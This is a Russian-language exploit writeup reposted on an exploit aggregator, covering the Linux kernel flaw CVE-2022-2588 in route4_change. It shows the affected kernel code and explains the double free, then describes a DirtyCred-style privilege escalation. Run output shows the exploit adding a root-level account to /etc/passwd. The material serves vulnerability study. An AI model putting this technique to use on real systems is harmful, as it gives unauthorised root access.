Sploitus

Exploit for CVE-2022-2588 CVE-2021-3715 CVE-2022-2588

kitploit · 2026-08-25

Exploit Code

MARKDOWN137 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-IGR1S-RED-CVE-2022-2588
# CVE-2022-2588

# Исправление

Ошибка исправлена в Linux v5.19 этим коммитом.

# Ошибка

Ошибка была внесена в Linux v3.17 этим коммитом ещё в 2014 году. Для её срабатывания требуются `User Namespaces`. Эта ошибка очень похожа на CVE-2021-3715, которая была вызвана некорректной операцией над связным списком `route4_filter`. Более подробную информацию о CVE-2021-3715 можно найти в докладе на Black Hat (страница 16). Ниже приведены некоторые краткие детали CVE-2022-2588.

Ниже показаны некоторые важные фрагменты кода функции `route4_change` для понимания CVE-2022-2588.

root@kitploit:~
    
    
    static int route4_change(...)
    {
        ...
        f = kzalloc(sizeof(struct route4_filter), GFP_KERNEL);      [0]
        ...
        // if there exists a filter with the same handler, copy some information
        if (fold) {                                                 [1]
            f->id = fold->id;
            f->iif = fold->iif;
            f->res = fold->res;
            f->handle = fold->handle;
    
            f->tp = fold->tp;
            f->bkt = fold->bkt;
            new = false;
        }
    
        // initialize the new filter
        err = route4_set_parms(net, tp, base, f, handle, head, tb,  [2]
                       tca[TCA_RATE], new, flags, extack);
        if (err < 0)
            goto errout;
    
        // insert the new filter to the list
        h = from_hash(f->handle >> 16);                             [3]
        fp = &f->bkt->ht[h];
        for (pfp = rtnl_dereference(*fp);
             (f1 = rtnl_dereference(*fp)) != NULL;
             fp = &f1->next)
            if (f->handle < f1->handle)
                break;
    
        tcf_block_netif_keep_dst(tp->chain->block);
        rcu_assign_pointer(f->next, f1);
        rcu_assign_pointer(*fp, f);
    
        // remove fold filter from the list if fold exists
        if (fold && fold->handle && f->handle != fold->handle) {    [4]
            th = to_hash(fold->handle);
            h = from_hash(fold->handle >> 16);
            b = rtnl_dereference(head->table[th]);
            if (b) {
                fp = &b->ht[h];
                for (pfp = rtnl_dereference(*fp); pfp;
                     fp = &pfp->next, pfp = rtnl_dereference(*fp)) {
                    if (pfp == fold) {
                        rcu_assign_pointer(*fp, fold->next);  [5]// remove the old from the linked list
                        break;
                    }
                }
            }
        }
    ...
        // free the fold filter if it exists                         [6]
        if (fold) {
            tcf_unbind_filter(tp, &fold->res);
            tcf_exts_get_net(&fold->exts);
            tcf_queue_work(&fold->rwork, route4_delete_filter_work);
        }
    

Функция предназначена для инициализации/замены объекта `route4_filter`. Фильтр использует `handle` как уникальный идентификатор для различения фильтров. Если существует handle, который уже был инициализирован ранее (то есть переменная `fold` не равна null), фильтр обновляется: старый фильтр удаляется и добавляется новый; в противном случае просто добавляется новый фильтр.

В [0] ядро выделяет объект `route4_filter`. В [1], если fold не пуст (то есть существует фильтр с тем же handle), в новый фильтр копируются некоторые данные; в [2] новый фильтр инициализируется, а затем в [3] вставляется в список. Если старый фильтр существует, он удаляется из списка в [4] и освобождается в [6].

Ошибка находится в [4], где проверяется наличие старого фильтра для удаления. Условие требует, чтобы handle не был нулевым и совпадал с handle нового фильтра. Это условие не совпадает с условием освобождения фильтра в [6], которое проверяет только наличие старого фильтра. Поэтому, если пользователь создаёт фильтр с handle, равным 0, а затем инициирует его замену, фильтр не будет удалён из списка в [4], но будет освобождён в [6], поскольку условия не совпадают.

# Эксплуатация

Поскольку эта ошибка похожа на CVE-2021-3715, их примитивы почти одинаковы. За более подробным описанием примитивов читатели могут обратиться к докладу на Black Hat. В этом разборе показана эксплуатация с использованием идеи DirtyCred.

Поскольку освобождённый `fold` после срабатывания ошибки всё ещё находится в связном списке, можно освободить `fold` ещё раз, что в конечном итоге приведёт к double free объекта `route4_filer` и объекта `route4_filter->exts.action`, если включён `CONFIG_NET_CLS_ACT`.

Код эксплойта использует обе эти возможности double-free для демонстрации атаки на учётные данные задачи (через double free в kmalloc-192, будет добавлена позже) и учётные данные открытого файла (через double free в kmalloc-256).

## Атака на учётные данные файла

Следуя идее DirtyCred, код эксплойта подменяет учётные данные файла после проверок прав доступа, что позволяет записывать произвольное содержимое в файлы, доступные только для чтения. В идеале код мог бы работать на всех версиях ядра, затронутых этой ошибкой. Отмечается, что для гарантии работы кода на старых ядрах, где `msg_msg` изолирован в `kmalloc-rcl-*`, эксплойт использует другой объект для распыления.

root@kitploit:~
    
    
    [ghost@localhost ~]$ ./exploit
    self path /home/ghost/./exploit
    prepare done
    Old limits -> soft limit= 14096          hard limit= 14096
    starting exploit, num of cores: 32
    defrag done
    spray 256 done
    freed the filter object
    256 freed done
    double free done
    spraying files
    found overlap, id : 257, 1061
    start slow write
    closed overlap
    got cmd, start spraying /etc/passwd
    spray done
    write done, spent 1.621078 s
    should be after the slow write
    succeed
    [ghost@localhost ~]$ head -n 4 /etc/passwd
    user:$1$user$k8sntSoh7jhsc6lwspjsU.:0:0:/root/root:/bin/bash
    root:x:0:0:root:/root:/bin/bash
    bin:x:1:1:bin:/bin:/sbin/nologin
    daemon:x:2:2:daemon:/sbin:/sbin/nologin
    [ghost@localhost ~]$ su user # the password is user
    Password:
    sh-4.4# id
    uid=0(user) gid=0(root) groups=0(root)
    

Эксплойт написан так, чтобы работать на как можно большем числе дистрибутивов. Подтверждена его работа на:

  * Debian 11 (5.10.0-8-amd64 ~ xxx)



## Хотите опробовать эксплойт в виртуальной машине?

**Пожалуйста, войдите под пользователем`low` с паролем `low`**